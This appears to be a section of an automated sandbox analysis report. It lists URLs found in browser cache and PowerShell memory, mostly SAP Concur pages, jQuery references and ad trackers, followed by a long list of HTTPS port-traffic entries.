Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://github.com/jquery/jquery/blob/3.0.0/dist/jquery.js#L4584
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://github.com/jquery/jquery/blob/3.4.0/dist/jquery.js#L4712
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://github.com/jquery/jquery/blob/3.5.1/dist/jquery.js#L4939
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://github.com/jquery/jquery/blob/3.5.1/dist/jquery.js#L5032
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://github.com/jquery/jquery/issues/2432
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://github.com/jquery/jquery/pull/4333
Source: chromecache_326.6.dr, chromecache_360.6.dr	String found in binary or memory: https://github.com/microsoft/clarity
Source: chromecache_478.6.dr, chromecache_426.6.dr	String found in binary or memory: https://global.prod.uidapi.com
Source: powershell.exe, 00000000.00000002.1822553431.0000019D812FD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1821237606.0000021847BAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: chromecache_530.6.dr	String found in binary or memory: https://google.com
Source: chromecache_530.6.dr	String found in binary or memory: https://googleads.g.doubleclick.net
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://grack.com/blog/2009/11/17/absolutizing-url-in-javascript
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/syntax.html#elements-2
Source: chromecache_237.6.dr	String found in binary or memory: https://ib.adnxs.com/getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid
Source: chromecache_334.6.dr, chromecache_308.6.dr	String found in binary or memory: https://insight.adsrvr.org/track/up
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://jquery.com/
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://jquery.org/license
Source: chromecache_478.6.dr, chromecache_426.6.dr	String found in binary or memory: https://js.adsrvr.org/uid2-sdk.js
Source: chromecache_237.6.dr	String found in binary or memory: https://js.adsrvr.org/universal_pixel.1.1.0.js
Source: chromecache_534.6.dr, chromecache_413.6.dr	String found in binary or memory: https://js.driftt.com
Source: chromecache_528.6.dr, chromecache_393.6.dr	String found in binary or memory: https://js.driftt.com/include/
Source: chromecache_534.6.dr, chromecache_413.6.dr	String found in binary or memory: https://metrics.api.drift.com
Source: powershell.exe, 00000000.00000002.1947234615.0000019D900B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1947234615.0000019D901E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1928670954.0000021856586000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1928670954.00000218566C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 00000005.00000003.1804885305.00000239102C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.5.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: chromecache_440.6.dr	String found in binary or memory: https://open.concur.com
Source: chromecache_530.6.dr	String found in binary or memory: https://pagead2.googlesyndication.com
Source: chromecache_330.6.dr, chromecache_503.6.dr, chromecache_447.6.dr, chromecache_427.6.dr, chromecache_456.6.dr, chromecache_378.6.dr	String found in binary or memory: https://pagead2.googlesyndication.com/pagead/gen_204/?id=turtlex_join_ig&tx_jig=$
Source: chromecache_412.6.dr, chromecache_530.6.dr	String found in binary or memory: https://pagead2.googlesyndication.com/pagead/gen_204?id=tcfe
Source: chromecache_392.6.dr	String found in binary or memory: https://partners.tremorhub.com/sync?UIDM=73baa8d8-6341-4ced-a3a0-0f5a42d3a1e0
Source: chromecache_392.6.dr	String found in binary or memory: https://pixel.rubiconproject.com/tap.php?nid=5578&put=73baa8d8-6341-4ced-a3a0-0f5a42d3a1e0&v
Source: chromecache_237.6.dr	String found in binary or memory: https://pixel.rubiconproject.com/tap.php?v=8981&nid=2307&put=74afb848-711b-4442-bde5-d7137629b408&gd
Source: chromecache_300.6.dr, chromecache_508.6.dr	String found in binary or memory: https://play.google.com/store/apps/details?id=com.concur.breeze
Source: chromecache_453.6.dr, chromecache_513.6.dr	String found in binary or memory: https://players.youku.com/jsapi
Source: chromecache_440.6.dr	String found in binary or memory: https://s.go-mpulse.net/boomerang/
Source: chromecache_234.6.dr, chromecache_228.6.dr, chromecache_241.6.dr, chromecache_235.6.dr	String found in binary or memory: https://s.qualtrics.com/spoke/all/jam
Source: chromecache_440.6.dr	String found in binary or memory: https://s2.go-mpulse.net/boomerang/
Source: chromecache_453.6.dr, chromecache_513.6.dr	String found in binary or memory: https://sadmin.brightcove.com/js/BrightcoveExperiences.js
Source: chromecache_507.6.dr, chromecache_294.6.dr	String found in binary or memory: https://secure.eloqua.com/e/f2.aspx
Source: chromecache_234.6.dr, chromecache_228.6.dr, chromecache_241.6.dr, chromecache_235.6.dr	String found in binary or memory: https://siteintercept.qualtrics.com
Source: chromecache_234.6.dr, chromecache_228.6.dr, chromecache_241.6.dr, chromecache_235.6.dr	String found in binary or memory: https://siteintercept.qualtrics.com/dxjsmodule/
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://sizzlejs.com/
Source: chromecache_461.6.dr, chromecache_298.6.dr	String found in binary or memory: https://snap.licdn.com/li.lms-analytics/insight.min.js
Source: chromecache_213.6.dr, chromecache_379.6.dr	String found in binary or memory: https://static.ads-twitter.com/uwt.js
Source: chromecache_507.6.dr, chromecache_294.6.dr	String found in binary or memory: https://tags.tiqcdn.com/utag/concur/concur/prod/utag.js
Source: chromecache_534.6.dr, chromecache_413.6.dr	String found in binary or memory: https://targeting.api.drift.com
Source: chromecache_378.6.dr	String found in binary or memory: https://td.doubleclick.net
Source: chromecache_440.6.dr	String found in binary or memory: https://twitter.com/SAPConcur
Source: chromecache_478.6.dr, chromecache_426.6.dr	String found in binary or memory: https://unifiedid.com/docs/sdks/client-side-identity#event-types-and-payload-details
Source: chromecache_398.6.dr, chromecache_431.6.dr	String found in binary or memory: https://www.clarity.ms/tag/uet/
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.ae
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.be
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.ca
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.ca/fr
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.cl
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.cn
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.co
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.co.in
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.co.jp
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.co.uk
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.co.za
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com.ar
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com.au
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com.br
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com.hk
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com.mx
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com.sg
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/
Source: powershell.exe, 00000000.00000002.1977973452.0000019DF7D57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.concur.com/O
Source: powershell.exe, 00000000.00000002.1977973452.0000019DF7E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.concur.com/Uf2hH
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/admin/structure/block/manage/block/517/configure
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/benefits-assurance
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/china-business-travel
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/do-not-sell
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/en-us/casestudy
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/en-us/invoice-integration
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/en-us/invoice-management
Source: chromecache_318.6.dr	String found in binary or memory: https://www.concur.com/en-us/privacy-policy
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/en-us/tax-solutions
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/en-us/travel-booking
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/getting-started-smb
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/government-solutions
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/index.html
Source: powershell.exe, 00000000.00000002.1977973452.0000019DF7D57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.concur.com/nt
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/premium-assistant
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/self-guided-demo-expense#/
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/self-guided-demo-invoice#/
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/all/modules/custom_concur/concur_search/images/ico-search.png);backgrou
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/all/themes/concur7/favicon.ico
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/adp_logo_0.png
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/bridgestone.png
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/css/css_9GHJr0TSuIwTmh9hMheAo-TJI64_ad9Tii687ARnwjc.css
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/css/css_COMPkurH0mDUVQbUKm9eYtJzmcjSkUvekNIUTUNR-Aw.css
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/css/css_I7kYLsT2tcrx-Sfs7r-6JYQ4MnOCyd5FZzunC08IaYM.css
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/css/css_krL-BXwweTmo-2n50Txy6AMSa6syq4V8LXWfMCDaK7k.css
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/css/css_xE-rWrJf-fncB6ztZfd2huxqgxu4WO-qwma6Xer30m4.css
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/elizabeth_logo.png
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/ericsson_logo.png
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/expense_pictogram_0.png
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/genmills_logo.png
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/homepage-stairstep.png);
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/ibm_logo_1.png
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/images/concur-expense-capture-large-screens_usedit.mp4
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/invoice-pictogram.png
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/js/js_0Swxf9EM9gA1z18_STsJSXOmU8vVOE9-jJXXaYHziM4.js
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/js/js_PFctIrDh0JUCLrw-Jja4Pt1KFj1RcU33H9fUY9PLxhc.js
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/js/js_h0chjLjHLulCVjX0Cuh5dZA3Jw4Q_xELcsszVzlCzmg.js
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/js/js_qg5O-A6QNU3ZzvTN6arQ-BoU2dE_LA--M_kZFoKwn_E.js
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/js/js_r9-AARDvulegGsTKa_GTOZ6teZkjKuA6pg6Ni9JlokI.js
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/js/js_vdfkf7jdrmcbWbH5unWlNpvf4OzDzhwUVlkPEEEuTyc.js
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/redcross_logo.png
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/salesforce_logo.png
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/travel-pictogram_0.png
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/twitter_logo.png
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/sites/default/files/unisys_logo_1.png
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.com/user-assistant
Source: powershell.exe, 00000000.00000002.1977973452.0000019DF7E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.concur.com/yf.hM
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.de
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.dk
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.es
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.fi
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.fr
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.it
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.kr
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.nl
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.no
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.pe
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.se
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concur.tw
Source: chromecache_440.6.dr	String found in binary or memory: https://www.concursolutions.com/
Source: chromecache_214.6.dr, chromecache_428.6.dr	String found in binary or memory: https://www.drupal.org/project/jquery_update.
Source: chromecache_486.6.dr	String found in binary or memory: https://www.everestjs.net/static/le/last-event-tag-latest.min.js
Source: chromecache_530.6.dr	String found in binary or memory: https://www.google.com
Source: chromecache_507.6.dr, chromecache_294.6.dr	String found in binary or memory: https://www.google.com/enterprise/marketplace/viewListing?productListingId=3405
Source: chromecache_345.6.dr, chromecache_451.6.dr, chromecache_373.6.dr, chromecache_254.6.dr, chromecache_314.6.dr, chromecache_529.6.dr, chromecache_464.6.dr, chromecache_338.6.dr	String found in binary or memory: https://www.google.com/pagead/1p-user-list/1044530512/?random
Source: chromecache_507.6.dr, chromecache_294.6.dr	String found in binary or memory: https://www.google.com/recaptcha/api.js
Source: chromecache_530.6.dr	String found in binary or memory: https://www.googleadservices.com
Source: chromecache_530.6.dr	String found in binary or memory: https://www.googletagmanager.com
Source: chromecache_412.6.dr, chromecache_530.6.dr	String found in binary or memory: https://www.googletagmanager.com/a?
Source: chromecache_248.6.dr, chromecache_445.6.dr, chromecache_244.6.dr, chromecache_253.6.dr, chromecache_469.6.dr, chromecache_490.6.dr, chromecache_489.6.dr, chromecache_387.6.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js
Source: chromecache_412.6.dr, chromecache_530.6.dr	String found in binary or memory: https://www.googletagmanager.com/static/service_worker/
Source: chromecache_440.6.dr	String found in binary or memory: https://www.linkedin.com/company/sapconcur
Source: chromecache_440.6.dr	String found in binary or memory: https://www.linkedin.com/company/sapconcur/
Source: chromecache_440.6.dr	String found in binary or memory: https://www.sap.com/index.html
Source: chromecache_440.6.dr	String found in binary or memory: https://www.youtube.com/c/SAPConcur
Source: chromecache_453.6.dr, chromecache_513.6.dr	String found in binary or memory: https://www.youtube.com/embed/
Source: chromecache_440.6.dr	String found in binary or memory: https://www.youtube.com/user/ConcurTechnologies

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 50210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 50209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50216
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50215
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50218
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50217
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50219
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50210
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50212
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50211
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50214
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50227
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50226
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50229
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50228
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 50186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50221
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
